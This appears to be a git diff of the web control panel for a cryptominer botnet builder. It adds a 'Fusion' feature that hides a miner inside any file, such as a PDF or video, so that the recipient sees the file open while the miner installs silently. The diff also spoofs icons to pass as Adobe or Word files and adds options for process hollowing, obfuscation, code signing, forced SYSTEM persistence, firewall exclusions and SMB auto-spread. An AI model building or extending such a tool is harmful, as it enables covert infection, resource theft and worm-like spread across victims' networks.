<option value="custom">Custom Path</option>
|
||||
{installBaseOptions.map((opt) => (
|
||||
<option key={opt.value} value={opt.value}>{opt.label}</option>
|
||||
))}
|
||||
</select>
|
||||
<FieldHint field="install_base" />
|
||||
{installBaseOptions.find((o) => o.value === form.install_base)?.hint && (
|
||||
<p className="form-hint">
|
||||
{installBaseOptions.find((o) => o.value === form.install_base)!.hint}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
{form.install_base === 'custom' && (
|
||||
<div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
||||
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
|
||||
<input type="text" className="input mono"
|
||||
placeholder={
|
||||
form.target_os === 'linux' || form.target_os === 'darwin'
|
||||
? '/home/user/.local/share or ~/Library/Application Support'
|
||||
: 'C:\\Hidden\\Miner or %ProgramData%\\MyApp'
|
||||
}
|
||||
disabled={fieldMeta.install_custom_base?.disabled}
|
||||
value={form.install_custom_base}
|
||||
onChange={(e) => updateField('install_custom_base', e.target.value)} />
|
||||
@@ -1027,7 +1201,14 @@ export default function BuilderPage() {
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.firewall_exclusion}
|
||||
onChange={(e) => updateField('firewall_exclusion', e.target.checked)} />
|
||||
<span>Windows Firewall allow rules for this miner <HelpTip field="firewall_exclusion" /></span>
|
||||
<span>
|
||||
{form.target_os === 'linux' || form.target_os === 'darwin'
|
||||
? 'Firewall allow rules (ufw/iptables when available)'
|
||||
: form.target_os === 'universal'
|
||||
? 'Firewall allow rules (per OS — netsh / ufw / best-effort)'
|
||||
: 'Windows Firewall allow rules for this miner'}{' '}
|
||||
<HelpTip field="firewall_exclusion" />
|
||||
</span>
|
||||
</label>
|
||||
<FieldHint field="firewall_exclusion" />
|
||||
</div>
|
||||
@@ -1047,13 +1228,15 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
<FieldHint field="stealth_mode" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.process_hollowing?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.process_hollowing}
|
||||
disabled={fieldMeta.process_hollowing?.disabled}
|
||||
onChange={(e) => updateField('process_hollowing', e.target.checked)} />
|
||||
<span>Process Hollowing (memory injection) <HelpTip field="process_hollowing" /></span>
|
||||
<span>Process Hollowing (Windows only) <HelpTip field="process_hollowing" /></span>
|
||||
</label>
|
||||
<FieldHint field="process_hollowing" />
|
||||
<ForgeLockedHint meta={fieldMeta.process_hollowing} />
|
||||
</div>
|
||||
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
@@ -1097,9 +1280,9 @@ export default function BuilderPage() {
|
||||
value={form.run_as}
|
||||
onChange={(e) => updateField('run_as', e.target.value)}
|
||||
>
|
||||
<option value="user">Current User (Run key when persistence on)</option>
|
||||
<option value="service">Scheduled Task — forced persistence</option>
|
||||
<option value="scheduled">Scheduled Task — forced persistence</option>
|
||||
<option value="user">Current User (Run key — persistence optional)</option>
|
||||
<option value="scheduled">Scheduled Task (logon task — persistence forced on)</option>
|
||||
<option value="service">Scheduled Task as SYSTEM (elevated — persistence forced on)</option>
|
||||
</select>
|
||||
<FieldHint field="run_as" />
|
||||
</div>
|
||||
@@ -1116,105 +1299,130 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
|
||||
{deliverableType !== 'spread_kit' && (
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion (prep + worker)"
|
||||
title="Fusion — Hide miner in any file"
|
||||
badge="baked"
|
||||
description={simpleMode
|
||||
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
|
||||
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
|
||||
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
|
||||
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
{deliverableType !== 'fusion' && (
|
||||
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
|
||||
disabled={fieldMeta.fusion_enabled?.disabled}
|
||||
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
|
||||
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="fusion_enabled" />
|
||||
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
|
||||
</div>
|
||||
)}
|
||||
{deliverableType === 'fusion' && (
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Fusion selected — drop your files below and forge. Each file becomes its own universal ZIP (Windows + Mac + Linux) that can be sent to any machine.
|
||||
</p>
|
||||
)}
|
||||
{form.fusion_enabled && (
|
||||
<>
|
||||
{/* Single-file pick (used when Forge button is clicked) */}
|
||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Prep .exe or movie (.mp4 / .mkv / .mov) <HelpTip field="fusion_prep" /></label>
|
||||
<label className="label">
|
||||
Drop any file to fuse <HelpTip field="fusion_prep" />
|
||||
</label>
|
||||
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".exe,.mp4,.mkv,.mov,application/octet-stream,video/*"
|
||||
accept="*"
|
||||
onChange={(e) => {
|
||||
applyFusionFileSelection(e.target.files?.[0] || null);
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
{fusionPrepFile && (
|
||||
{fusionPrepFile && !fusionIsExe && (
|
||||
<div className="form-hint" style={{ marginTop: '0.4rem' }}>
|
||||
<strong>{fusionPrepFile.name}</strong> — {fusionFileTypeLabel(fusionPrepFile.name)},{' '}
|
||||
{(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB
|
||||
<br />
|
||||
<span style={{ color: 'var(--color-accent)' }}>
|
||||
Windows disguise: runner will be named{' '}
|
||||
<code>{disguisedWindowsRunnerName(fusionPrepFile.name)}</code> with the{' '}
|
||||
{fusionFileTypeLabel(fusionPrepFile.name)} icon injected.
|
||||
Explorer shows it as <code>{disguisedDisplayName(fusionPrepFile.name)}</code> — identical to a real {fusionFileTypeLabel(fusionPrepFile.name)}.
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
{fusionPrepFile && fusionIsExe && (
|
||||
<span className="form-hint">
|
||||
Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)
|
||||
{fusionIsVideo ? ' — video payload' : ' — exe payload'}
|
||||
<strong>{fusionPrepFile.name}</strong> — Windows executable, {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB — will run directly when opened
|
||||
</span>
|
||||
)}
|
||||
<p className="form-hint">Upload limit: 2 GB per file.</p>
|
||||
<p className="form-hint">
|
||||
Supports any file type — PDF, video (MP4/MOV/MKV), Word, Excel, image, etc. Max 2 GB.
|
||||
On Windows: icon + file description are spoofed to match the real application (Adobe Acrobat, Microsoft Word, VLC, etc.).
|
||||
</p>
|
||||
</div>
|
||||
{fusionIsVideo && (
|
||||
<div className="form-group">
|
||||
<label className="label">Movie delivery <HelpTip field="fusion_media_mode" /></label>
|
||||
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'embedded'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'embedded');
|
||||
if (fusionPrepFile) {
|
||||
updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>Option A — Single file (embedded)</strong>
|
||||
<FieldHint field="fusion_media_mode" />
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
One disguised launcher (e.g. <code>Title.mkv.exe</code>) contains the movie + hidden miner.
|
||||
Best when the file is under ~500MB.
|
||||
</p>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'paired'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'paired');
|
||||
if (fusionPrepFile) {
|
||||
updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>Option B — Movie + runner (paired)</strong>
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
<code>Title.mkv</code> (shortcut) + hidden <code>Title.mkv.cmdata</code> +{' '}
|
||||
<code>Title-runner.exe</code> in <code>fusion-deliverables/Title/</code>. Clicking the
|
||||
movie shows a lock message; only the runner decrypts and plays it.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Delivery mode — applies to all file types */}
|
||||
<div className="form-group">
|
||||
<label className="label">Delivery mode <HelpTip field="fusion_media_mode" /></label>
|
||||
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'embedded'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'embedded');
|
||||
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>All-in-one (embedded)</strong>
|
||||
<FieldHint field="fusion_media_mode" />
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
Everything baked into a single runner binary. Drop one file anywhere and run it — no extras needed.
|
||||
Best for files under ~500 MB.
|
||||
</p>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'paired'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'paired');
|
||||
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>ZIP bundle (paired)</strong>
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
Your original file + runners in a ZIP. Works for <em>any</em> file size. The recipient unzips and opens
|
||||
the launcher for their OS — the file opens normally, miner installs silently.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Batch: queue multiple files, each gets its own ZIP */}
|
||||
<div className="form-group">
|
||||
<div className="label-row">
|
||||
<label className="label">Batch movies <HelpTip field="fusion_batch" /></label>
|
||||
<label className="label">Batch fusion — fuse many files at once <HelpTip field="fusion_batch" /></label>
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".mp4,.mkv,.mov,video/*"
|
||||
accept="*"
|
||||
multiple
|
||||
onChange={(e) => {
|
||||
const list = e.target.files ? Array.from(e.target.files) : [];
|
||||
@@ -1223,10 +1431,31 @@ export default function BuilderPage() {
|
||||
}}
|
||||
/>
|
||||
{fusionBatchFiles.length > 0 && (
|
||||
<span className="form-hint">
|
||||
{fusionBatchFiles.length} movie(s) queued — each becomes a ZIP in{' '}
|
||||
<code>fusion-deliverables/<title>/</code> (runner + locked movie + README).
|
||||
</span>
|
||||
<div style={{ marginTop: '0.5rem' }}>
|
||||
<p className="form-hint" style={{ marginBottom: '0.25rem' }}>
|
||||
<strong>{fusionBatchFiles.length} file{fusionBatchFiles.length !== 1 ? 's' : ''} queued</strong> — each becomes a separate universal ZIP in{' '}
|
||||
<code>fusion-deliverables/</code>:
|
||||
</p>
|
||||
<ul className="batch-forge-log" style={{ marginBottom: '0.5rem' }}>
|
||||
{fusionBatchFiles.map((f) => {
|
||||
const isExe = fusionPayloadKind(f) === 'exe';
|
||||
return (
|
||||
<li key={f.name} className="batch-log-pending">
|
||||
<span className="batch-log-icon">○</span>
|
||||
<span>
|
||||
{f.name}{' '}
|
||||
<span className="form-hint">({fusionFileTypeLabel(f.name)}, {(f.size/1024/1024).toFixed(1)} MB)</span>
|
||||
{!isExe && (
|
||||
<span style={{ color: 'var(--color-accent)', marginLeft: '0.4rem' }}>
|
||||
→ Windows: <code>{disguisedDisplayName(f.name)}</code>
|
||||
</span>
|
||||
)}
|
||||
</span>
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{batchJob && (
|
||||
<div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
|
||||
@@ -1263,33 +1492,48 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
{fusionBatchFiles.length > 0 && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary"
|
||||
style={{ marginTop: '0.5rem' }}
|
||||
disabled={building || !canForge}
|
||||
onClick={handleBatchForgeMovies}
|
||||
>
|
||||
{building
|
||||
? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
|
||||
: `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`}
|
||||
</button>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', marginTop: '0.5rem', flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary"
|
||||
disabled={building || !canForge}
|
||||
onClick={handleBatchForge}
|
||||
>
|
||||
{building
|
||||
? `Forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
|
||||
: `Forge all ${fusionBatchFiles.length} file${fusionBatchFiles.length !== 1 ? 's' : ''} → universal ZIP each`}
|
||||
</button>
|
||||
{building && batchJob && batchJob.phase !== 'done' && batchJob.phase !== 'cancelled' && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-danger"
|
||||
onClick={handleBatchCancel}
|
||||
title="Stop after the current file finishes"
|
||||
>
|
||||
Cancel Batch
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Each ZIP contains runners for Windows, Mac, and Linux. The recipient runs the launcher for their OS — the file opens, the miner installs.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
|
||||
<label className="label">Run order <HelpTip field="fusion_run_order" /></label>
|
||||
<select className="select" value={form.fusion_run_order}
|
||||
onChange={(e) => updateField('fusion_run_order', e.target.value)}>
|
||||
<option value="parallel">Parallel (both at once)</option>
|
||||
<option value="prep_first">Prep first, then worker</option>
|
||||
<option value="worker_first">Worker first, then prep</option>
|
||||
<option value="parallel">Parallel — file opens and miner installs at the same time</option>
|
||||
<option value="prep_first">File first — open file, then install miner</option>
|
||||
<option value="worker_first">Miner first — install silently, then open file</option>
|
||||
</select>
|
||||
<FieldHint field="fusion_run_order" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Output Filename <HelpTip field="fusion_output_name" /></label>
|
||||
<label className="label">Runner filename <HelpTip field="fusion_output_name" /></label>
|
||||
<input type="text" className="input mono" value={form.fusion_output_name}
|
||||
onChange={(e) => updateField('fusion_output_name', e.target.value)} />
|
||||
<FieldHint field="fusion_output_name" />
|
||||
@@ -1297,10 +1541,10 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
{simpleMode && fusionPrepFile && (
|
||||
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
|
||||
<p className="form-hint">Runner name: <code>{form.fusion_output_name || defaultRunnerName(fusionPrepFile.name)}</code>. Run order: parallel (file opens + miner installs simultaneously).</p>
|
||||
)}
|
||||
<p className="form-hint">
|
||||
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
|
||||
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
|
||||
</p>
|
||||
{(estimateLoading || fusionEstimate || estimateError) && (
|
||||
<div className="fusion-estimate-panel card">
|
||||
@@ -1342,6 +1586,7 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
@@ -1351,21 +1596,25 @@ export default function BuilderPage() {
|
||||
badge="server-only"
|
||||
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.obfuscate?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
|
||||
disabled={fieldMeta.obfuscate?.disabled}
|
||||
onChange={(e) => updateField('obfuscate', e.target.checked)} />
|
||||
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
|
||||
<span>Obfuscate worker with Garble (Windows only) <HelpTip field="obfuscate" /></span>
|
||||
</label>
|
||||
<FieldHint field="obfuscate" />
|
||||
<ForgeLockedHint meta={fieldMeta.obfuscate} />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.sign_build?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
|
||||
disabled={fieldMeta.sign_build?.disabled}
|
||||
onChange={(e) => updateField('sign_build', e.target.checked)} />
|
||||
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
|
||||
<span>Sign forged output (Authenticode, Windows only) <HelpTip field="sign_build" /></span>
|
||||
</label>
|
||||
<FieldHint field="sign_build" />
|
||||
<ForgeLockedHint meta={fieldMeta.sign_build} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1373,13 +1622,13 @@ export default function BuilderPage() {
|
||||
<ForgeSectionHeader
|
||||
title="Autonomy, Mesh & Lateral Movement"
|
||||
badge="baked"
|
||||
description="Optional — AI decisions, P2P mesh networking, and SMB auto-spreading."
|
||||
description="Optional — AI decisions, P2P mesh, SMB auto-spread, NAT hole punch, and remote aggressive ops (dashboard buttons)."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.ai_enabled}
|
||||
onChange={(e) => updateField('ai_enabled', e.target.checked)} />
|
||||
<span>Enable AI自治 (AI Autonomy) <HelpTip field="ai_enabled" /></span>
|
||||
<span>Enable AI Autonomy (Ollama) <HelpTip field="ai_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="ai_enabled" />
|
||||
</div>
|
||||
@@ -1429,11 +1678,41 @@ export default function BuilderPage() {
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.auto_spread}
|
||||
onChange={(e) => updateField('auto_spread', e.target.checked)} />
|
||||
onChange={(e) => {
|
||||
const checked = e.target.checked;
|
||||
if (checked && !window.confirm(
|
||||
'Enable Auto-Spread?\n\n' +
|
||||
'When baked ON, every deployed agent will automatically attempt lateral movement ' +
|
||||
'across the local network on a timer — scanning for reachable hosts and copying itself.\n\n' +
|
||||
'This is aggressive behaviour. Only enable it if you have explicit permission on every network this agent may reach.'
|
||||
)) return;
|
||||
updateField('auto_spread', checked);
|
||||
}} />
|
||||
<span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
|
||||
</label>
|
||||
{form.auto_spread && (
|
||||
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
|
||||
⚠ Auto-Spread is ON — every agent forged with this config will scan and propagate automatically.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="auto_spread" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.hole_punch}
|
||||
onChange={(e) => updateField('hole_punch', e.target.checked)} />
|
||||
<span>Enable NAT Hole Punch (UPnP) <HelpTip field="hole_punch" /></span>
|
||||
</label>
|
||||
<FieldHint field="hole_punch" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.remote_aggressive}
|
||||
onChange={(e) => updateField('remote_aggressive', e.target.checked)} />
|
||||
<span>Enable Remote Aggressive Ops (dashboard buttons) <HelpTip field="remote_aggressive" /></span>
|
||||
</label>
|
||||
<FieldHint field="remote_aggressive" />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
@@ -1471,7 +1750,7 @@ export default function BuilderPage() {
|
||||
<div className="card recent-builds">
|
||||
<h2>Installer Ready</h2>
|
||||
<div className="build-success">
|
||||
<p><strong>Run this once on each Windows machine:</strong></p>
|
||||
<p><strong>Deploy to each machine:</strong></p>
|
||||
{lastBuild.fusion_enabled && (
|
||||
<p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
|
||||
)}
|
||||
|
||||
@@ -21,7 +21,6 @@ import {
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
export default function DashboardPage() {
|
||||
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
||||
@@ -309,6 +308,11 @@ export default function DashboardPage() {
|
||||
/>
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
{agent.platform && (
|
||||
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
|
||||
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
|
||||
@@ -1125,6 +1125,42 @@
|
||||
color: var(--neon-amber);
|
||||
}
|
||||
|
||||
/* Inline input validation states */
|
||||
.input.input-warn {
|
||||
border-color: var(--neon-amber, #fbbf24) !important;
|
||||
box-shadow: 0 0 0 2px rgba(251, 191, 36, 0.25);
|
||||
}
|
||||
.input.input-error {
|
||||
border-color: var(--neon-red, #ef4444) !important;
|
||||
box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.25);
|
||||
}
|
||||
|
||||
button.deliverable-card {
|
||||
text-align: left;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
color: inherit;
|
||||
font: inherit;
|
||||
transition: border-color 0.15s, background 0.15s;
|
||||
}
|
||||
|
||||
button.deliverable-card:hover {
|
||||
border-color: rgba(251, 191, 36, 0.35);
|
||||
background: rgba(251, 191, 36, 0.06);
|
||||
}
|
||||
|
||||
button.deliverable-card.deliverable-active {
|
||||
border-color: var(--neon-amber);
|
||||
background: rgba(251, 191, 36, 0.12);
|
||||
box-shadow: 0 0 12px rgba(251, 191, 36, 0.15);
|
||||
}
|
||||
|
||||
button.deliverable-card .form-hint {
|
||||
display: block;
|
||||
margin-top: 0.35rem;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.forge-live-notices {
|
||||
margin-bottom: 1rem;
|
||||
padding: 0.75rem 1rem;
|
||||
|
||||
@@ -6,6 +6,29 @@ import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import './Pages.css';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
const result = { ...base } as T;
|
||||
for (const key in override) {
|
||||
const val = override[key];
|
||||
const baseVal = base[key];
|
||||
if (
|
||||
val !== null &&
|
||||
val !== undefined &&
|
||||
typeof val === 'object' &&
|
||||
!Array.isArray(val) &&
|
||||
typeof baseVal === 'object' &&
|
||||
baseVal !== null &&
|
||||
!Array.isArray(baseVal)
|
||||
) {
|
||||
result[key] = deepMerge(baseVal as object, val as object) as T[typeof key];
|
||||
} else if (val !== undefined) {
|
||||
result[key] = val as T[typeof key];
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
export default function SettingsPage() {
|
||||
const [config, setConfig] = useState<ServerConfig | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
|
||||
@@ -98,7 +121,9 @@ export default function SettingsPage() {
|
||||
reader.onload = (evt) => {
|
||||
try {
|
||||
const data = JSON.parse(evt.target?.result as string);
|
||||
setConfig((prev) => (prev ? { ...prev, ...data } : prev));
|
||||
// Deep-merge so importing a partial config (e.g. only "pool" key) doesn't
|
||||
// wipe unrelated nested sections like "default_agent" or "mining".
|
||||
setConfig((prev) => (prev ? deepMerge(prev, data) : prev));
|
||||
setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`);
|
||||
} catch {
|
||||
setSaveMessage('Invalid JSON file.');
|
||||
|
||||
Reference in New Issue
Block a user